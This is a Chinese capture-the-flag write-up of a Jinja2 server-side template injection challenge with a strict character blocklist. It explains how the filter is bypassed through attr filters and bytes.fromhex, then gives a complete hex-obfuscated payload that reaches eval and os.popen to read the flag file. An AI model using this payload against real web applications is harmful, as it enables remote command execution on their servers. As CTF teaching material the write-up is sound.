点击此处获得更好的阅读体验
WriteUp来源
题目考点
- SSTI绕过技巧
解题思路
主页是一个扫雷游戏,完成游戏后将进入/success
界面
1
location.href = './success?msg='+name;
进入该页面后可以看到我们的msg参数将显示在页面中,尝试进行SSTI,发现存在SSTI 但是过滤非常严格
经过FUZZ可以发现过滤了~ set or args _ [ request lipsum = chr json g . ' {{ u get
空格等字符
首先,过滤了{{可以用 {% %}来代替
然后选手需要考虑的是如果构造出被ban的字符串,比如带_的字符串。
set被过滤导致选手无法通过变量赋值来得到想要的字符串,比如set se=dict(se=1).keys()|reverse|first
就将se这个字符串赋值给了se变量。
~被过滤导致选手无法使用一些巧妙的拼接技巧来获取想要的字符串
[
和 or
被过滤导致选手难以通过[index]
或{%for %}
等技巧获取数组中的值
.被过滤导致选手无法使用一些常用函数,只能使用过滤器
u被过滤是为了防止unicode编码非预期
那么这里考察的就是选手对过滤器以及python内置类的方法的掌握程度了
经过查阅python手册,可以找到python的'byte'类存在fromhex方法,可以从十六进制转换为字符串。
那么我们可以通过 "a"|attr("encode")()
得到byte类型的数据,然后通过fromhex得到目标字符串,然后再通过decode函数转回字符串类型,最后一个attr过滤器,就可以进行ssti注入了
这里我们为了从数组中得到某个元素,我们需要调用其pop方法或者get方法,但是需要注意的是,pop方法会破坏环境,导致pop得到数组元素后,下一次再想获取数组元素就获取不到了。
而且这里get和pop字符串也被过滤了,如何用十六进制转换回字符串,再将他作为函数名来调用,这也是选手需要考虑的问题。
最终payload:
1
{% raw %}{%{% endraw %}print("a"|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f636c6173735f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f6d726f5f5f")|attr("decode")())|last|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f737562636c61737365735f5f")|attr("decode")())()|attr("pop")(414)|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f696e69745f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f676c6f62616c735f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("676574")|attr("decode")())("FLAG"|attr("encode")()|attr("fromhex")("5f5f6275696c74696e735f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("676574")|attr("decode")())("FLAG"|attr("encode")()|attr("fromhex")("6576616c")|attr("decode")())("FLAG"|attr("encode")()|attr("fromhex")("5f5f696d706f72745f5f28226f7322292e706f70656e28276361743c666c61672e74787427292e726561642829")|attr("decode")()))%}